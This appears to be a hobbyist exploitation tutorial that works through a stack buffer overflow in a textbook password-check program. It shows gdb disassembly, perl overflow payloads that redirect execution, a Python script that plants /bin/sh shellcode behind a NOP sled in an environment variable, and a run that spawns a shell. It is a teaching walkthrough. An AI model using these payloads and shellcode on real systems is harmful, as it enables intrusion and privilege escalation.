Intro to (local) exploitation part IIFor the purpose of this Part II, we will use an example from The Art of Exploitation but with different approaches. The purpose of these exercices will show that not only that when you go through a book, dont limit yourself to doing the example at hand, but experiment with it as well to gain a better understanding. Many ways leads to Rome in this example.
Here is the vulnerable program (auth_overflow2.c in the book):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password)
{
char password_buffer[16];
int auth_flag = 0;
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[])
{
if(argc <2)
{
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1]))
{
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Acess Granted \n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
}
Trying the program:
root@bt:~/ArtOfX# ./auth_overflow2 test
Acess Denied.
root@bt:~/ArtOfX#
Testing more characters:
root@bt:~/ArtOfX# ./auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
root@bt:~/ArtOfX#
*m0rph note*
We've achieved a segmentation fault due to the buffer of "password_buffer" only being capable of storing 16 characters, but our input exceeded the limit.
1) One way to do it...Yay! Lets load it with gdb and check the registers after a crash.
(gdb) run AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEE
Starting program: /root/ArtOfX/auth_overflow2 AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEE
Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
(gdb)
Sweet, we overwrote exactly the 4 bytes of EIP on the first try! :p
As we did in part I, lets find a suitable address to load. Lets check main():
root@bt:~/ArtOfX# gdb ./auth_overflow2
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/ArtOfX/auth_overflow2...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048514 <+0>: push %ebp
0x08048515 <+1>: mov %esp,%ebp
0x08048517 <+3>: and $0xfffffff0,%esp
0x0804851a <+6>: sub $0x10,%esp
0x0804851d <+9>: cmpl $0x1,0x8(%ebp)
0x08048521 <+13>: jg 0x8048545 <main+49>
0x08048523 <+15>: mov 0xc(%ebp),%eax
0x08048526 <+18>: mov (%eax),%edx
0x08048528 <+20>: mov $0x8048661,%eax
0x0804852d <+25>: mov %edx,0x4(%esp)
0x08048531 <+29>: mov %eax,(%esp)
0x08048534 <+32>: call 0x80483bc <printf@plt>
0x08048539 <+37>: movl $0x0,(%esp)
0x08048540 <+44>: call 0x80483ec <exit@plt>
0x08048545 <+49>: mov 0xc(%ebp),%eax
0x08048548 <+52>: add $0x4,%eax
0x0804854b <+55>: mov (%eax),%eax
0x0804854d <+57>: mov %eax,(%esp)
0x08048550 <+60>: call 0x80484b4 <check_authentication>
0x08048555 <+65>: test %eax,%eax
0x08048557 <+67>: je 0x804857f <main+107>
0x08048559 <+69>: movl $0x8048678,(%esp)
0x08048560 <+76>: call 0x80483cc <puts@plt>
0x08048565 <+81>: movl $0x80486a0,(%esp)
0x0804856c <+88>: call 0x80483cc <puts@plt>
0x08048571 <+93>: movl $0x80486c4,(%esp)
0x08048578 <+100>: call 0x80483cc <puts@plt>
0x0804857d <+105>: jmp 0x804858b <main+119>
0x0804857f <+107>: movl $0x80486e8,(%esp)
0x08048586 <+114>: call 0x80483cc <puts@plt>
0x0804858b <+119>: leave
0x0804858c <+120>: ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb)
Humm ok, let's check the check_authentication function:
gdb) disas check_authentication
Dump of assembler code for function check_authentication:
0x080484b4 <+0>: push %ebp
0x080484b5 <+1>: mov %esp,%ebp
0x080484b7 <+3>: sub $0x38,%esp
0x080484ba <+6>: movl $0x0,-0xc(%ebp)
0x080484c1 <+13>: mov 0x8(%ebp),%eax
0x080484c4 <+16>: mov %eax,0x4(%esp)
0x080484c8 <+20>: lea -0x1c(%ebp),%eax
0x080484cb <+23>: mov %eax,(%esp)
0x080484ce <+26>: call 0x80483ac <strcpy@plt>
0x080484d3 <+31>: movl $0x8048650,0x4(%esp)
0x080484db <+39>: lea -0x1c(%ebp),%eax
0x080484de <+42>: mov %eax,(%esp)
0x080484e1 <+45>: call 0x80483dc <strcmp@plt>
0x080484e6 <+50>: test %eax,%eax
0x080484e8 <+52>: jne 0x80484f1 <check_authentication+61>
0x080484ea <+54>: movl $0x1,-0xc(%ebp)
0x080484f1 <+61>: movl $0x8048658,0x4(%esp)
0x080484f9 <+69>: lea -0x1c(%ebp),%eax
0x080484fc <+72>: mov %eax,(%esp)
0x080484ff <+75>: call 0x80483dc <strcmp@plt>
0x08048504 <+80>: test %eax,%eax
0x08048506 <+82>: jne 0x804850f <check_authentication+91>
0x08048508 <+84>: movl $0x1,-0xc(%ebp)
0x0804850f <+91>: mov -0xc(%ebp),%eax
0x08048512 <+94>: leave
0x08048513 <+95>: ret
End of assembler dump.
well seems to me that 0x08048508 is a suitable address.
*m0rph note*This address was chosen because it is the 2nd of two conditional jumps (JNE command in assembly). Incorrect input will lead to the 1st conditional jump (0x080484e8), but correct input will lead to 0x08048508 which is the address of the first instruction of the 2nd conditional jump. That is why this address is chosen.After a bit of fiddling:
(gdb) run $(perl -e 'print "AAAAAAAABBBBBBBBCCCCCCCC\x08\x85\x04\x08";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/ArtOfX/auth_overflow2 $(perl -e 'print "AAAAAAAABBBBBBBBCCCCCCCC\x08\x85\x04\x08";')
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- Acess Granted -
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Program exited with code 0125.
(gdb)
It worked, and was a good recap of part I as well.
2) Another way...Lets check the variables it compares our input to...
(gdb) disas check_authentication
Dump of assembler code for function check_authentication:
0x080484b4 <+0>: push %ebp
0x080484b5 <+1>: mov %esp,%ebp
0x080484b7 <+3>: sub $0x38,%esp
0x080484ba <+6>: movl $0x0,-0xc(%ebp)
0x080484c1 <+13>: mov 0x8(%ebp),%eax
0x080484c4 <+16>: mov %eax,0x4(%esp)
0x080484c8 <+20>: lea -0x1c(%ebp),%eax
0x080484cb <+23>: mov %eax,(%esp)
0x080484ce <+26>: call 0x80483ac <strcpy@plt>
0x080484d3 <+31>: movl $0x8048650,0x4(%esp)
0x080484db <+39>: lea -0x1c(%ebp),%eax
0x080484de <+42>: mov %eax,(%esp)
0x080484e1 <+45>: call 0x80483dc <strcmp@plt>
0x080484e6 <+50>: test %eax,%eax
0x080484e8 <+52>: jne 0x80484f1 <check_authentication+61>
0x080484ea <+54>: movl $0x1,-0xc(%ebp)
0x080484f1 <+61>: movl $0x8048658,0x4(%esp)
0x080484f9 <+69>: lea -0x1c(%ebp),%eax
0x080484fc <+72>: mov %eax,(%esp)
0x080484ff <+75>: call 0x80483dc <strcmp@plt>
0x08048504 <+80>: test %eax,%eax
0x08048506 <+82>: jne 0x804850f <check_authentication+91>
0x08048508 <+84>: movl $0x1,-0xc(%ebp)
0x0804850f <+91>: mov -0xc(%ebp),%eax
0x08048512 <+94>: leave
0x08048513 <+95>: ret
End of assembler dump.
(gdb) x/s 0x8048650
0x8048650: "brillig"
(gdb) x/s 0x8048658
0x8048658: "outgrabe"
(gdb)
*m0rph note*0x8048650, and 0x8048658 are chosen for further examination because they are the only two addresses that require a move long (move up to 32-bits) into the stack pointer (esp), along with their addresses being loaded to eax, which is then tests itself if the input was the same as what is stored in esp. This indicates that these addresses hold the string values of what the input given to the program is compared to.Hey we have the passwords now, let's try one:
oot@bt:~/ArtOfX# ./auth_overflow2 outgrabe
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- Acess Granted -
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
root@bt:~/ArtOfX#
3) The easy way...Well we have already figured out there were strings in our executable files but we could have checked before with the [strings] tool...
root@bt:~/ArtOfX# strings ./auth_overflow2
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
strcpy
exit
puts
printf
strcmp
__libc_start_main
GLIBC_2.0
PTRh
[^_]
brillig
outgrabe
Usage: %s <password>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- Acess Granted -
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Acess Denied.
Woah the passwords were there in plain text
4) Bonus materialOk, but what if we wanted to execute arbitrary instructions? What about shellcode man? Can I get a shell? What if I dont gave enough space for my shellcode?
Well, lets put a shellcode in the environement. And why not add a generous NOP sled just to be sloppy and make this whole tutorial easy.
*m0rph note*
In this example, we will be storing shellcode in a random environment variable (shellcode will be stored in "BOW"), and then using the address of "BOW" in memory to get privilege escalation on the fly from the same application we've been testing. This way, all we have to do is fill the buffer and feed the address of our environment variable, and our shellcode is executed automatically.Here's a simple utility I wrote to set it up:
#!/usr/bin/python
import os
sc=("\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")
buffer = '\x90' * 200 + sc
os.putenv('BOW', buffer)
os.system('bash')
chmod +x and run it and check it:
root@bt:~/ArtOfX# ./scenv.py
root@bt:~/ArtOfX# echo $BOW
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������^1��F���F
�
����V
�����/bin/sh
Well shell code is there with a huge sled. All we need is the address. Here's the program from the book to get the environment var's address:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *ptr;
if(argc < 3)
{
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* Get env var location. */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
printf("%s will be at %p\n", argv[1], ptr);
}
Lets get the return address we want now:
root@bt:~/ArtOfX# ./getenvaddr BOW ./auth_overflow2
BOW will be at 0xbffffc82
Lets give it a shot!
(gdb) run $(perl -e 'print "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD\x82\xfc\xff\xbf";')
Starting program: /root/ArtOfX/auth_overflow2 $(perl -e 'print "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD\x82\xfc\xff\xbf";')
process 4446 is executing new program: /bin/bash
sh-4.1#
And we have a shell!
ConclusionExperiment!